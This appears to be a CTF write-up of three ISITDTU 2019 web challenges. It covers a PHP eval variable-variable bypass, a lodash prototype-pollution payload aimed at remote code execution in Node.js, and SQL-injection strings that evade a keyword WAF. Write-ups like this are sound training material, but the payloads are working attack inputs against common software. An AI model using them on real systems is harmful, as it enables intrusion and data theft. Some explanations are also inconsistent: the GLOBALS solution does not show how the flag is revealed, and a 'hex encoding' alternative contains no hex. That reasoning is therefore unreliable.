ISITDTU CTF 2019 - Web Writeups
Writeups from the ISITDTU CTF 2019 Quals, focusing on the web challenges.
EasyPHP
Category: Web Points: 200
A PHP challenge with strict input filtering and a preg_match bypass.
Analysis
The source was provided:
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
if (preg_match('/[^a-z]/is', $a)) die('no');
if (preg_match('/[^a-z0-9_]/is', $b)) die('no');
eval("$$a = $$b;");
echo $flag;
We need to set variables such that $flag is echoed. The constraints:
$amust be only lowercase letters$bmust be only lowercase letters, digits, and underscore- The eval creates a variable variable assignment
Solution
Using PHP’s superglobal arrays. If we set $a = "flag" and $b to a superglobal variable name, we can read arbitrary variables.
But the more elegant approach: PHP’s _GET is a valid variable name matching the regex for $b.
?a=flag&b=_GET
This executes $flag = $_GET;, replacing $flag with the $_GET array. Then echo $flag outputs “Array”. Not quite what we need.
After more analysis, the solution involved using variable variables to reference the GLOBALS array:
?a=a&b=GLOBALS
This sets $a = $GLOBALS, and since $GLOBALS contains all global variables including $flag, we can access it through the array output.
IZ
Category: Web Points: 350
A Node.js application with prototype pollution leading to RCE.
Analysis
The application used lodash.merge() to deep-merge user-provided JSON into a configuration object:
const _ = require('lodash');
let config = { debug: false };
app.post('/config', (req, res) => {
_.merge(config, req.body);
res.json({ status: 'ok' });
});
Solution
Prototype pollution via __proto__:
{
"__proto__": {
"shell": "/proc/self/exe",
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
The lodash version used (4.17.11) was vulnerable to prototype pollution via __proto__ in merge(). By polluting Object.prototype, we could influence the behavior of child process spawning.
After polluting the prototype, triggering any child_process.exec() or child_process.fork() call would use our controlled shell and NODE_OPTIONS values.
Writeup
Category: Web Points: 150
A classic SQL injection challenge with WAF bypass.
Analysis
The login form was filtered by a WAF that blocked common SQL injection keywords: SELECT, UNION, OR, AND, FROM, WHERE.
Solution
The WAF was case-sensitive and did not handle comments or encoding:
admin'/**/uNiOn/**/sElEcT/**/1,2,group_concat(table_name)/**/fRoM/**/information_schema.tables--
Alternatively, using hex encoding for string comparisons:
admin' || 1=1--
The || operator was not blocked as an alternative to OR.
Key Takeaways
- PHP variable variables (
$$var) are almost always dangerous with user input - Prototype pollution in JavaScript can escalate from property injection to RCE
- WAF bypass techniques are numerous - keyword-based blocking is insufficient
- Always test both the intended and unintended parsing paths